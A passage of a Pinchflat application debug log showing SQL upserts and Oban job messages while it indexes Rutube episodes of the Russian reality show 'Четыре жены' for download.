("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "311e8cbe-27f2-4c49-83ad-d09faf39170b", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", 21, "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, false, false, 6, [], 1, ~U[2024-07-25 14:40:20Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, 6, ~U[2024-07-25 14:40:20Z]] 20:59:22.705 [debug] QUERY OK source="sources" db=8.2ms queue=0.1ms idle=61.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.707 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=51.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-01 14:30:11Z], 6] 20:59:22.750 [debug] QUERY OK source="media_items" db=42.7ms idle=44.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "573e6eae-8bf8-470d-9a5d-d7796c86240e", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", 22, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, false, false, 6, [], 1, ~U[2024-08-01 14:30:11Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, 6, ~U[2024-08-01 14:30:11Z]] 20:59:22.764 [debug] QUERY OK source="sources" db=13.3ms queue=0.1ms idle=54.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.765 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=57.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-08 14:20:12Z], 6] 20:59:22.767 [info] {"source":"oban","duration":53843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:23.041 [debug] QUERY OK source="media_items" db=275.4ms idle=15.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "1ac7fa38-509d-40e1-a950-66d8978c0a40", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", 23, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, false, false, 6, [], 1, ~U[2024-08-08 14:20:12Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, 6, ~U[2024-08-08 14:20:12Z]] 20:59:23.042 [debug] QUERY OK source="sources" db=0.5ms idle=277.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.043 [debug] QUERY OK source="media_items" db=0.5ms idle=277.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-15 14:20:11Z], 6] 20:59:23.085 [debug] QUERY OK source="media_items" db=41.1ms idle=278.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "f408f2d8-e9e6-4c3e-b491-ab48232a5aa8", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", 24, "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, false, false, 6, [], 1, ~U[2024-08-15 14:20:11Z], ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, 6, ~U[2024-08-15 14:20:11Z]] 20:59:23.093 [debug] QUERY OK source="sources" db=7.3ms queue=0.1ms idle=319.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.094 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=52.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 17:00:39Z], 6] 20:59:23.119 [debug] QUERY OK source="media_items" db=24.1ms idle=52.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "5068f55a-7100-4098-8972-c9600df2e1cc", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", 25, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, false, false, 6, [], 1, ~U[2025-07-10 17:00:39Z], ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, 6, ~U[2025-07-10 17:00:39Z]] 20:59:23.127 [debug] QUERY OK source="sources" db=7.8ms idle=76.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.130 [debug] QUERY OK source="media_items" db=2.6ms idle=42.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 16:00:08Z], 6] 20:59:23.143 [debug] QUERY OK source="media_items" db=11.7ms idle=37.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "4e96964f-ae7d-4da3-8eaa-aeeb0a4bf8dd", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", 26, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, false, false, 6, [], 1, ~U[2025-07-17 16:00:08Z], ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, 6, ~U[2025-07-17 16:00:08Z]] 20:59:23.158 [debug] QUERY OK source="sources" db=13.2ms queue=0.3ms idle=50.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.159 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=39.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 12:30:11Z], 6] 20:59:23.178 [debug] QUERY OK source="media_items" db=18.7ms idle=31.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "afc5931a-ddab-4b99-8846-20b8a8003e62", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", 27, "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, false, false, 6, [], 1, ~U[2025-07-31 12:30:11Z], ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], "Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, 6, ~U[2025-07-31 12:30:11Z]] 20:59:23.192 [debug] QUERY OK source="sources" db=12.7ms idle=48.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.192 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=48.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 12:40:40Z], 6] 20:59:23.218 [debug] QUERY OK source="media_items" db=24.5ms idle=35.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "58085409-6cef-4d4b-bc88-5bd87064236b", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", 28, "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, false, false, 6, [], 1, ~U[2025-10-02 12:40:40Z], ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], "В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, 6, ~U[2025-10-02 12:40:40Z]] 20:59:23.253 [debug] QUERY OK source="sources" db=33.2ms idle=60.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z], 6] 20:59:23.263 [debug] QUERY OK source="media_items" db=9.4ms queue=0.1ms idle=75.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:23.265 [debug] QUERY OK source="media_items" db=1.0ms idle=72.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:23.265 [debug] QUERY OK source="media_items" db=0.3ms idle=72.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 20:59:23.324 [debug] QUERY OK source="tasks" db=31.7ms queue=0.1ms idle=28.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2215, 6, ~U[2025-12-08 17:59:23Z], ~U[2025-12-08 17:59:23Z]] 20:59:23.345 [info] {"args":{"id":6},"id":2206,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":21520565,"event":"job:stop","attempt":1,"queue_time":979030,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:59:52.773 [info] {"source":"oban","duration":4867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.981 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:22.775 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:52.777 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.984 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:22.780 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:52.782 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.985 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:22.785 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:52.787 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.986 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:22.789 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:52.791 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.989 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:22.796 [info] {"source":"oban","duration":3820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:52.798 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.990 [info] 